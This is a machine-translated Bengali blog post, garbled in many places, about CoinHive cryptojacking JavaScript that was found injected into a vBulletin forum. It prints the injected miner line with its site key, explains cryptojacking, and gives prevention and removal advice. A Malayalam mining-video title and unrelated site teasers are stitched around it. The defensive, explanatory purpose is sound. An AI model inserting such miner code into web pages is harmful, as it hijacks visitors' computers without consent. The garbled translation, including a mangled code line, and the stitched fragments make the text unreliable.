ഭാവിയിൽ ലക്ഷങ്ങൾ വില വരുന്ന Crypto Currency Free ആയി Mine ചെയ്യാം | PI Network | Crypto Mining App
সুচিপত্র:
আমি ওয়েবসাইট মালিকদের সম্পর্কে তাদের ওয়েবসাইটে স্ক্রিপ্ট ব্যবহার করে পড়া হয়েছে যখন তারা তাদের ওয়েবসাইটে যান যখন দর্শক এর কম্পিউটারের CPU ব্যবহার। ধারণা তাদের বিষয়বস্তু নগদীকরণ করা হয় - এবং তাই বিজ্ঞাপন ব্যবহার করার পরিবর্তে, তারা একটি স্ক্রিপ্ট ব্যবহার করে যা ব্রাউজারে চালায় এবং ক্রিপ্টোকুরেন্স খনিতে ব্যবহারকারীর কম্পিউটার সম্পদ ব্যবহার করে। কিন্তু আমি মনে করতাম যে শুধুমাত্র ওয়েবসাইটের মালিকরা এই নকশাটি করেছেন - আমি কখনো কল্পনাও করিনি যে হ্যাকাররা ওয়েবসাইট হ্যাক করবে এবং অন্যান্য ওয়েবসাইটগুলিতে স্ক্রিপ্টটি ধাক্কা দেবে এবং তাদের দর্শকদের জন্য অর্থ উপার্জন করার জন্য CPU ব্যবহার করবে। এখনই কি ঘটছে বলে মনে হচ্ছে!
সিনাইভাইভ ক্রিপ্টো-মাইনিং স্ক্রিপ্ট
গতকাল যখন আমি আমাদের টিডব্লিউসি ফোরাম পরিদর্শন করেছিলাম, যা vBulletin সফ্টওয়্যারটি চালায়, আমার নিরাপত্তা সফ্টওয়্যারটি এই সতর্কবার্তাটি ছুঁড়েছে:
// coinhive ডট com /lib/coinhive.js অবজেক্ট ফাইন্ড সনাক্ত, ডাউনলোড করা ব্লক
আমি সাধারণত ফোরাম প্রতিদিন যান এবং আমি আগে এটি দেখা হয়নি আগে তাই আমি অনুমান করি যে এই সময় রাতের মধ্যে কিছু সময় ঘটেছিল, আমার সময়, যখন আমি ঘুমিয়েছিলাম।
আমি ফোরামের জন্য vBulletin সফটওয়্যার ব্যবহার করি এবং এটি সর্বশেষ সংস্করণে আপডেট করা হয়েছিল। তাছাড়া, এই আমাদের জন্য বেশ আশ্চর্যজনক, যেহেতু TheWindowsClub.com ডোমেন Sucuri ওয়েব অ্যান্টিভাইরাস ও ফায়ারওয়াল ব্যবহার করে অনলাইনে ওয়েব হুমকি ও আক্রমণগুলি থেকে নিজেকে রক্ষা করে।
আমার পিসি নিরাপত্তা সফ্টওয়্যার সফলভাবে চালানোর মাধ্যমে দূষিত স্ক্রিপ্টটি বন্ধ করে দিয়েছে আমার উইন্ডোজ 10 কম্পিউটারে আমি ক্রোম ও এজ এর মতো অন্যান্য ব্রাউজারগুলির সাথে চেক করেছি এবং ফলাফলগুলি একই।
ফোরাম ওয়েব পৃষ্ঠায় ডান ক্লিক করে এবং সোর্স কোড পরীক্ষা করার পর, আমি দেখেছি এটি একটি ক্রিপ্টোমাইনার দুর্ঘটনামূলক স্ক্রিপ্ট যা CoinHive।
এই দূষিত Coinhive জাভাস্ক্রিপ্ট যা আমার ফোরাম কোড মধ্যে পেয়েছিলাম:
var miner = new CoinHive। অ্যানিমেশন ("FG1d35B2h5xqzgJW0bbfyHT22ud9RnEm"); miner.start ();
যাই হোক, প্রথম কাজ যা আমি করেছি তা হল ফোরাম নিচে এবং Sucuri অবহিত।
Sucuri লোকেরা কিছু ঘন্টার মধ্যে আমার ফোরামে push করা হয়েছে যারা Coinhive স্ক্রিপ্ট ফোরাম পরিষ্কার, এবং সব ভাল ছিল।
CoinHive কি হয়
Coinhive অফার আপনি আপনার ওয়েবসাইট এম্বেড করতে পারেন এবং আপনার দর্শকদের কম্পিউটারের সিপিআর ব্যবহার করে আপনার মুদ্রা কয়েনের জন্য মেনরো ক্রিপ্টোকুরেন্সের জন্য একটি জাভাস্ক্রিপ্ট খনি।
এটি ক্রিপ্টোজ্যাকিং বলা হয়। এটি cryptocurrency খনির জন্য ব্যবহারকারীদের ব্রাউজার হাইজ্যাকিং জড়িত। কিছু ওয়েবসাইট মালিকরা অর্থ উপার্জন করার জন্য এটি ব্যবহার করতে পারেন - কিন্তু আমাদের ক্ষেত্রে, এটি ইনজেকশনের ছিল।
যখন কোন ব্যবহারকারী সংক্রামিত সাইট অ্যাক্সেস করেন, তখন Coinhive JavaScript চালানো এবং মনিরা ব্যবহারকারীর CPU সম্পদগুলি ব্যবহার করে। এটি সিপিইউ থ্রোল্টলিং এবং অপ্রত্যাশিত শিকারের যন্ত্রের সিস্টেম ক্র্যাশ হতে পারে।
এখন যদি আপনার ব্রাউজার সংক্রমিত হয় তবে আপনি দেখতে পাবেন আপনার সম্পদ ব্যবহার বাড়ছে ব্রাউজার বন্ধ করুন, এবং এটি ড্রপ হবে। ব্যবহারকারী তার মেশিনটি গরম করার কথা ভাবতে পারেন, ফ্যান দ্রুত চলছে বা দ্রুতগতিতে ব্যাটারি খালি আছে।
আমি আমার সহকর্মী সৌরভ মুখ্লেকারকে তার ফোরামটি ম্যাক ব্যবহার করে দেখার জন্য জিজ্ঞাসা করেছি এবং দেখুন কি হয়েছে। ওয়েল, তার ম্যাক কম্পিউটারে সেফারির সাথে ফোরাম খোলা যখন খুব প্রভাবিত হয়েছিল! তিনি তাদের ম্যাক OSX ব্যবহারকারীদের একজন, যারা তার ম্যাকের জন্য একটি অ্যান্টিভাইরাস সফটওয়্যার ব্যবহার করে। ম্যাকের জন্য তার অস্থায়ী অ্যান্টিভাইরাস সফলভাবে চালানো থেকে দূষিত স্ক্রিপ্টটি বন্ধ করে দেয়।
সৌরভ,
সিনাইভভ ম্যালওয়্যারটি শুধুমাত্র একটি উইন্ডোজ পিসি হিজেড নয় বরং ম্যাকেরও, এটি ব্রাউজার ভিত্তিক জাভাস্ক্রিপ্ট সংক্রমণ। এটা ভাল যে আমি ম্যাকের কোনও অ্যান্টিভাইরাস সফটওয়্যারের প্রয়োজন নেই বলে মনে করি না, অন্যথায় আমার মেশিনে সংক্রমিত হতো এবং আমার ম্যাক অন্য কারোর জন্য মুদ্রা জারি করত।
আপনার ওয়েবসাইটকে সংক্রমিত করে CoinHive কে প্রতিরোধ করুন
- আপনার ওয়েবসাইট / ফোরামে কোনও নুল টেমপ্লেট বা প্লাগিন ব্যবহার করবেন না।
- আপনার সংস্করণটি সর্বশেষ সংস্করণে আপডেট রাখুন।
- নিয়মিতভাবে আপনার হোস্টিং সফ্টওয়্যার আপডেট করুন (পিএইচপি, ডেটাবেস ইত্যাদি …)।
- আপনার ওয়েবসাইটকে সাকুরি, ক্লাউডফ্লাইয়ার, ওয়ার্ডফেন্স ইত্যাদি ওয়েব নিরাপত্তা প্রদানকারীর সাথে নিরাপদ করুন।
- আপনার ব্লগে সুরক্ষিত রাখার জন্য প্রাথমিক সতর্কতাগুলি নিন।
ওয়েবসাইট থেকে সিওনিহিভ মাইনার অপসারণ
প্রথমত, আপনাকে ওয়েবমাস্টার হতে হবে সংক্রামিত ওয়েবসাইট - বা প্রশাসনিক শংসাপত্র আছে যা আপনাকে সমস্ত ওয়েবসাইট ফাইলগুলিতে প্রবেশ করতে দেয়।
এখন যখন আপনার অ্যান্টিভাইরাস সিঙ্গোইভের সংক্রমণ সনাক্ত করে তখন ওয়েবপৃষ্ঠাতে ডান-ক্লিক করুন এবং উত্স কোড দেখুন নির্বাচন করুন Ctrl + F চাপুন এবং "CoinHive" অনুসন্ধান করুন।
একবার আপনি দূষিত কোডের অবস্থান সনাক্ত করার পরে, এটির অবস্থানটি দেখতে হবে - এটি কোথায় অবস্থিত? এখন আপনি ম্যানুয়ালি এটি অপসারণ করতে হবে। এটি করার জন্য, আপনার প্ল্যাটফর্মের কোডিং জ্ঞান সম্পর্কে কিছুটা প্রয়োজন। আপনাকে সংক্রমিত ফাইলটি সনাক্ত করতে হবে এবং এটি থেকে উপরের স্ক্রিপ্টটি ম্যানুয়ালি সরিয়ে দিতে হবে। যদি আপনি এটি সম্পর্কে নিশ্চিত না হন, তাহলে কিছু বিশেষজ্ঞকে এটি করতে বলুন। যেহেতু আমরা Sucuri ব্যবহার করি, আমরা তাদের এটি করতে দেওয়া।
এটি করা হলে, আপনার সার্ভার এবং ব্রাউজার ক্যাশ পরিষ্কার করুন। যদি আপনি কোনও ক্যাশ প্লাগইন ব্যবহার করে থাকেন বা MaxCDN বলছেন, সেসব ক্যাশগুলিও পরিষ্কার করুন।
ক্রিপটো মাইনিং স্ক্রিপ্টগুলির বিরুদ্ধে নিজেকে রক্ষা করুন
ক্রিপ্টোকুচুয়ালাইজস এবং ব্লকচাইন প্রযুক্তি বিশ্বকে গ্রহণ করছে। এটি বিশ্ব অর্থনীতিতে প্রভাব সৃষ্টি করছে এবং প্রযুক্তির বাধাগুলিও সৃষ্টি করছে। প্রত্যেকেরই এই ধরনের লাভজনক বাজারের উপর মনোযোগ কেন্দ্রীভূত করা শুরু করেছে - এবং এতে ওয়েবসাইট হ্যাকারগুলিও অন্তর্ভুক্ত রয়েছে। রিটার্ন বৃদ্ধি হিসাবে, আমরা আশা করা উচিত যে এই ধরনের প্রযুক্তির অপব্যবহার করা হবে। যে কোনও উর্ধমুখী প্রযুক্তি অন্ধকার দিকে।
আমরা কি করতে পারি সব সময়ে সর্বোত্তম সতর্কতা গ্রহণ করা। একটি ভাল নিরাপত্তা সফ্টওয়্যার ব্যবহার ছাড়াও, একটি ক্রোম বা ফায়ারফক্স এক্সটেনশন ব্যবহার করুন যা ওয়েবসাইটগুলিকে Cryptocurrency- এর কাছে আপনার সিপিইউ ব্যবহার করে ব্লক করে দেয় - অথবা আরও ভালভাবে, Anti-WebMiner ব্যবহার করুন যা আপনার হোস্ট ফাইল পরিবর্তন করে ক্রপটজ্যাকিং মাইনিং স্ক্রিপ্ট আক্রমণ বন্ধ করে দেবে। এটি সব ব্রাউজারে কাজ করে। যদি আপনি একটি ম্যাক ব্যবহারকারী হন তবে আপনার কম্পিউটারের জন্যও একটি অ্যান্টিভাইরাস সফটওয়্যার পান করুন।
প্রচুর সতর্কতার বিষয় হিসাবে, আপনি যদি কখনও মনে করেন যে আপনি একটি সংক্রামিত সাইট পরিদর্শন করেছেন তবে আপনার ব্রাউজারটি পরিষ্কার করার জন্য এটি একটি ভাল ধারণা হবে ক্যাশে এবং আপনার অ্যান্টিভাইরাস সফটওয়্যারের পাশাপাশি অ্যাডউইলেনিয়ারসহ আপনার মেশিনটি স্ক্যান করুন।
নিরাপদ থাকুন, সতর্ক থাকুন!
আপনার উইন্ডোজ 7 ডেস্কটপ প্রসঙ্গ মেনুতে ওয়েবসাইট লিঙ্ক জুড়ুন অথবা পিনের সাথে আপনার উইন্ডোজ 7 ডেস্কটপ প্রসঙ্গ মেনুতে ওয়েবসাইট লিঙ্ক যুক্ত করুন বা পিন করুন
ওয়েব পিনার একটি বিনামূল্যের অ্যাপ্লিকেশন যা আপনাকে পিন বা আপনার উইন্ডোজ 7 ডেস্কটপে ওয়েবসাইট লিঙ্ক যুক্ত করুন ডান ক্লিক করুন প্রসঙ্গ মেনু।
ফ্রি সফটওয়্যার বা অনলাইন টুলের মাধ্যমে পিডিএফ থেকে পাসওয়ার্ড কিভাবে সরাতে হয়
বিনামূল্যে পিডিএফ আনলকার সফটওয়্যার ডাউনলোড বা পিডিএফ ক্র্যাকার অনলাইন টুল খুঁজছেন? পিডিএফ পাসওয়ার্ড সরান এবং পিডিএফ ফাইল আনলক করুন ফ্রাইওয়্যার বা অনলাইন টুলস ব্যবহার করে।
ইনফোগ্রাফিক বিরতি না: কিভাবে একটি ওয়েবসাইট সরাতে হয় এবং এসইও বিরতি না?
এমন পরিস্থিতিতে আছে যেখানে আপনাকে একটি ওয়েবসাইট থেকে একটি ডোমেইনে স্থানান্তর করতে হবে অন্য, বা এক Subfolder থেকে অন্য এটি কিভাবে সরাতে হয় তা একটি চমৎকার ইনফোগ্রাফিক।